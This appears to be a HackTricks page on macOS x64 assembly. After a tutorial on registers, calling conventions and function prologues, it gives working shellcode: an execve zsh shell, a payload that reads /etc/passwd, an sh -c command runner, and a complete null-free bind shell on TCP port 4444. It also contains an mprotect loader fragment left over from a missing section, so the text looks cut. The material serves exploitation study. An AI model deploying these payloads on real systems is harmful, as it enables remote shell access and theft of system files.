<summary><strong>Learn AWS hacking from zero to hero with</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
x64, also known as x86-64, is a 64-bit processor architecture predominantly used in desktop and server computing. Originating from the x86 architecture produced by Intel and later adopted by AMD with the name AMD64, it's the prevalent architecture in personal computers and servers today.
### **Registers**
x64 expands upon the x86 architecture, featuring **16 general-purpose registers** labeled `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, and `r8` through `r15`. Each of these can store a **64-bit** (8-byte) value. These registers also have 32-bit, 16-bit, and 8-bit sub-registers for compatibility and specific tasks.
1.**`rax`** - Traditionally used for **return values** from functions.
2.**`rbx`** - Often used as a **base register** for memory operations.
3.**`rcx`** - Commonly used for **loop counters**.
4.**`rdx`** - Used in various roles including extended arithmetic operations.
5.**`rbp`** - **Base pointer** for the stack frame.
6.**`rsp`** - **Stack pointer**, keeping track of the top of the stack.
7.**`rsi`** and **`rdi`** - Used for **source** and **destination** indexes in string/memory operations.
8.**`r8`** to **`r15`** - Additional general-purpose registers introduced in x64.
### **Calling Convention**
The x64 calling convention varies between operating systems. For instance:
* **Windows**: The first **four parameters** are passed in the registers **`rcx`**, **`rdx`**, **`r8`**, and **`r9`**. Further parameters are pushed onto the stack. The return value is in **`rax`**.
* **System V (commonly used in UNIX-like systems)**: The first **six integer or pointer parameters** are passed in registers **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`**, and **`r9`**. The return value is also in **`rax`**.
If the function has more than six inputs, the **rest will be passed on the stack**. **RSP**, the stack pointer, has to be **16 bytes aligned**, which means that the address it points to must be divisible by 16 before any call happens. This means that normally we would need to ensure that RSP is properly aligned in our shellcode before we make a function call. However, in practice, system calls work many times even if this requirement is not met.
Swift have its own **calling convention** that can be found in [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64)
x64 instructions have a rich set, maintaining compatibility with earlier x86 instructions and introducing new ones.
* **`mov`**: **Move** a value from one **register** or **memory location** to another.
* Example: `mov rax, rbx` — Moves the value from `rbx` to `rax`.
* **`push`** and **`pop`**: Push or pop values to/from the **stack**.
* Example: `push rax` — Pushes the value in `rax` onto the stack.
* Example: `pop rax` — Pops the top value from the stack into `rax`.
* **`add`** and **`sub`**: **Addition** and **subtraction** operations.
* Example: `add rax, rcx` — Adds the values in `rax` and `rcx` storing the result in `rax`.
* **`mul`** and **`div`**: **Multiplication** and **division** operations. Note: these have specific behaviors regarding operand usage.
* **`call`** and **`ret`**: Used to **call** and **return from functions**.
* **`int`**: Used to trigger a software **interrupt**. E.g., `int 0x80` was used for system calls in 32-bit x86 Linux.
* **`cmp`**: **Compare** two values and set the CPU's flags based on the result.
* Example: `cmp rax, rdx` — Compares `rax` to `rdx`.
* **`je`, `jne`, `jl`, `jge`, ...**: **Conditional jump** instructions that change control flow based on the results of a previous `cmp` or test.
* Example: After a `cmp rax, rdx` instruction, `je label` — Jumps to `label` if `rax` is equal to `rdx`.
* **`syscall`**: Used for **system calls** in some x64 systems (like modern Unix).
* **`sysenter`**: An optimized **system call** instruction on some platforms.
### **Function Prologue**
1.**Push the old base pointer**: `push rbp` (saves the caller's base pointer)
2.**Move the current stack pointer to the base pointer**: `mov rbp, rsp` (sets up the new base pointer for the current function)
3.**Allocate space on the stack for local variables**: `sub rsp, <size>` (where `<size>` is the number of bytes needed)
### **Function Epilogue**
1.**Move the current base pointer to the stack pointer**: `mov rsp, rbp` (deallocate local variables)
2.**Pop the old base pointer off the stack**: `pop rbp` (restores the caller's base pointer)
3.**Return**: `ret` (returns control to the caller)
## macOS
### syscalls
There are different classes of syscalls, you can [**find them here**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr;
sc();
return 0;
}
```
</details>
#### Shell
Taken from [**here**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) and explained.
{% tabs %}
{% tab title="with adr" %}
```armasm
bits 64
global _main
_main:
call r_cmd64
db '/bin/zsh', 0
r_cmd64: ; the call placed a pointer to db (argv[2])
pop rdi ; arg1 from the stack placed by the call to l_cmd64
xor rdx, rdx ; store null arg3
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
{% endtab %}
{% tab title="with stack" %}
```armasm
bits 64
global _main
_main:
xor rdx, rdx ; zero our RDX
push rdx ; push NULL string terminator
mov rbx, '/bin/zsh' ; move the path into RBX
push rbx ; push the path, to the stack
mov rdi, rsp ; store the stack pointer in RDI (arg1)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
{% endtab %}
{% endtabs %}
#### Read with cat
The goal is to execute `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, so the second argument (x1) is an array of params (which in memory these means a stack of the addresses).
```armasm
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48`
lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"
; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi ; Add "/etc/passwd" to the stack (arg0)
push rdi ; Add "/bin/cat" to the stack (arg1)
; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp ; argv=rsp - store RSP's value in RSI
xor rdx, rdx ; Clear rdx to hold NULL (no environment variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall ; Make the syscall
section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
```
#### Invoke command with sh
```armasm
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 32 ; Create space on the stack
; Argument array
lea rdi, [rel touch_command]
push rdi ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi ; push &"-c"
lea rdi, [rel sh_path]
push rdi ; push &"/bin/sh"
; execve syscall
mov rsi, rsp ; rsi = pointer to argument array
xor rdx, rdx ; rdx = NULL (no env variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
_exit:
xor rdi, rdi ; Exit status code 0
push 1 ; put 1 on the stack (exit syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
section .data
sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0
```
#### Bind shell
Bind shell from [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) in **port 4444**
```armasm
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xffffffffa3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; bind(host_sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x68
syscall
; listen(host_sockid, 2)
xor rsi, rsi
mov sil, 0x2
mov rax, r8
mov al, 0x6a
syscall
; accept(host_sockid, 0, 0)
xor rsi, rsi
xor rdx, rdx
mov rax, r8
mov al, 0x1e
syscall
mov rdi, rax
mov sil, 0x3
dup2:
; dup2(client_sockid, 2)
; -> dup2(client_sockid, 1)
; -> dup2(client_sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
mov rax, r8
mov al, 0x3b
syscall
```
#### Reverse Shell
Reverse shell from [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Reverse shell to **127.0.0.1:4444**
<summary><strong>Learn AWS hacking from zero to hero with</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.